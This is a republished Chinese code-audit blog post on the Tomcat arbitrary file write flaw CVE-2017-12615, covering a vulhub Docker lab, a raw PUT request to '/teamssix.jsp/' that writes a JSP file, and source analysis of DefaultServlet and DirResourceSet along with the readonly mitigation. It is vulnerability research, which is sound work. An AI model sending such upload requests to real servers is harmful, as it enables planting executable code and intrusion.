美文网首页代码审计
【代码审计】Tomcat 任意文件写入 CVE-2017-126

【代码审计】Tomcat 任意文件写入 CVE-2017-126

作者: TeamsSix | 来源:发表于2021-12-16 17:41 被阅读0次

    0x00 环境搭建

    直接 Docker 搭建即可

    git clone https://github.com/vulhub/vulhub.git
    cd /vulhub/tomcat/CVE-2017-12615
    sudo docker-compose build
    sudo docker-compose up -d
    

    0x01 漏洞复现

    直接使用 PUT 发起请求就可以上传任意文件,比如向 /teamssix.jsp/ 发起请求

    PUT /teamssix.jsp/ HTTP/1.1
    Host: 172.16.214.20:8080
    DNT: 1
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 26
    
    <%out.print("TeamsSix");%>
    
    HTTP/1.1 201 
    Content-Length: 0
    Date: Wed, 15 Dec 2021 07:19:29 GMT
    Connection: close
    

    服务端返回 201 说明创建成功,访问 /teamssix.jsp 可以看到文件成功被上传

    GET /teamssix.jsp HTTP/1.1
    Host: 172.16.214.20:8080
    DNT: 1
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    HTTP/1.1 200 
    Set-Cookie: JSESSIONID=128419889W27F6C930EF27082B98D9FD; Path=/; HttpOnly
    Content-Type: text/html;charset=ISO-8859-1
    Content-Length: 8
    Date: Wed, 15 Dec 2021 07:19:35 GMT
    Connection: close
    
    TeamsSix
    
    image

    0x02 漏洞分析

    Tomcat 在处理时有两个默认的 Servlet,分别为 DefaultServlet 和 JspServlet,具体配置如下:

       <servlet>
            <servlet-name>default</servlet-name>
            <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
            <init-param>
                <param-name>debug</param-name>
                <param-value>0</param-value>
            </init-param>
            <init-param>
                <param-name>listings</param-name>
                <param-value>false</param-value>
            </init-param>
    <init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>
            <load-on-startup>1</load-on-startup>
        </servlet>
    
    ……
    
     <servlet>
            <servlet-name>jsp</servlet-name>
            <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
            <init-param>
                <param-name>fork</param-name>
                <param-value>false</param-value>
            </init-param>
            <init-param>
                <param-name>xpoweredBy</param-name>
                <param-value>false</param-value>
            </init-param>
            <load-on-startup>3</load-on-startup>
        </servlet>
    
    ……
    
        <!-- The mapping for the default servlet -->
        <servlet-mapping>
            <servlet-name>default</servlet-name>
            <url-pattern>/</url-pattern>
        </servlet-mapping>
    
        <!-- The mappings for the JSP servlet -->
        <servlet-mapping>
            <servlet-name>jsp</servlet-name>
            <url-pattern>*.jsp</url-pattern>
            <url-pattern>*.jspx</url-pattern>
        </servlet-mapping>
    

    从配置文件里可以看到对于后缀为 .jsp 和 .jspx 的请求由 JspServlet 处理,而其他的请求则由 DefaultServlet 处理。

    所以当请求 /teamssix.jsp 时将会由 JspServlet 处理,无法触发漏洞;而请求 /teamssix.jsp/ 将绕过这个限制,交由 DefaultServlet 处理,这时就可以触发漏洞了。

    要想实现一个 Servlet,就需要继承 HTTPServlet,找到 HTTPServlet 文件为 /tomcat/lib/servlet-api.jar!/javax/servlet/http/HttpServlet.class

    在 HTTPServlet 中找到 doPut 方法,然后找到 DefaultServlet 里重写的 doPut 方法路径为tomcat/lib/catalina.jar!/org/apache/catalina/servlets/DefaultServlet.class

    查看 DefaultServlet 的 doPut 方法

    protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        if (this.readOnly) {
            resp.sendError(403);
        } else {
            String path = this.getRelativePath(req);
            WebResource resource = this.resources.getResource(path);
            DefaultServlet.Range range = this.parseContentRange(req, resp);
            Object resourceInputStream = null;
    
            try {
                if (range != null) {
                    File contentFile = this.executePartialPut(req, range, path);
                    resourceInputStream = new FileInputStream(contentFile);
                } else {
                    resourceInputStream = req.getInputStream();
                }
    
                if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
                    if (resource.exists()) {
                        resp.setStatus(204);
                    } else {
                        resp.setStatus(201);
                    }
                } else {
                    resp.sendError(409);
                }
            } finally {
                if (resourceInputStream != null) {
                    try {
                        ((InputStream)resourceInputStream).close();
                    } catch (IOException var13) {
                    }
                }
            }
        }
    }
    

    从上面代码的第 2 行可以看到首先判断 readOnly 是否为真,如果为真则返回 403,因此可以直接把 web.xml 里的 DefaultServlet 的 readonly 由原来的 false 改为 true 就能防御这个漏洞了。

    继续回到 DefaultServlet.class 里,在 DefaultServlet.class 里可以看到有个 write 函数,通过这个 write 函数代码跟踪到 tomcat/lib/catalina.jar!/org/apache/catalina/webresources/DirResourceSet.class 里的 write 函数

    public boolean write(String path, InputStream is, boolean overwrite) {
        this.checkPath(path);
        if (is == null) {
            throw new NullPointerException(sm.getString("dirResourceSet.writeNpe"));
        } else if (this.isReadOnly()) {
            return false;
        } else {
            File dest = null;
            String webAppMount = this.getWebAppMount();
            if (path.startsWith(webAppMount)) {
                dest = this.file(path.substring(webAppMount.length()), false);
                if (dest == null) {
                    return false;
                } else if (dest.exists() && !overwrite) {
                    return false;
                } else {
                    try {
                        if (overwrite) {
                            Files.copy(is, dest.toPath(), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING});
                        } else {
                            Files.copy(is, dest.toPath(), new CopyOption[0]);
                        }
                        return true;
                    } catch (IOException var7) {
                        return false;
                    }
                }
            } else {
                return false;
            }
        }
    }
    

    在执行到dest = this.file(path.substring(webAppMount.length()), false); 时,path 会作为参数传入,执行 file 方法,file 方法部分代码如下

    protected final File file(String name, boolean mustExist) {
        if (name.equals("/")) {
            name = "";
        }
        File file = new File(this.fileBase, name);
    

    在执行到 File file = new File(this.fileBase, name);时,会实例化一个 File 对象,fileBase 是 Web 应用所在的绝对路径。

    这里的 name 就是传入的文件名,比如 /teamssix.jsp/,在 File 实例化的过程中会处理掉 /,因此 /teamssix.jsp/ 会变成 /teamssix.jsp

    所以通过 PUT 请求,利用 /teamssix.jsp/ 可以达到任意文件上传的目的。

    参考文章:

    https://xz.aliyun.com/t/5610

    原文链接:

    https://www.teamssix.com/211216-172616.html

    相关文章

      网友评论

        本文标题:【代码审计】Tomcat 任意文件写入 CVE-2017-126

        本文链接:https://www.haomeiwen.com/subject/romvfrtx.html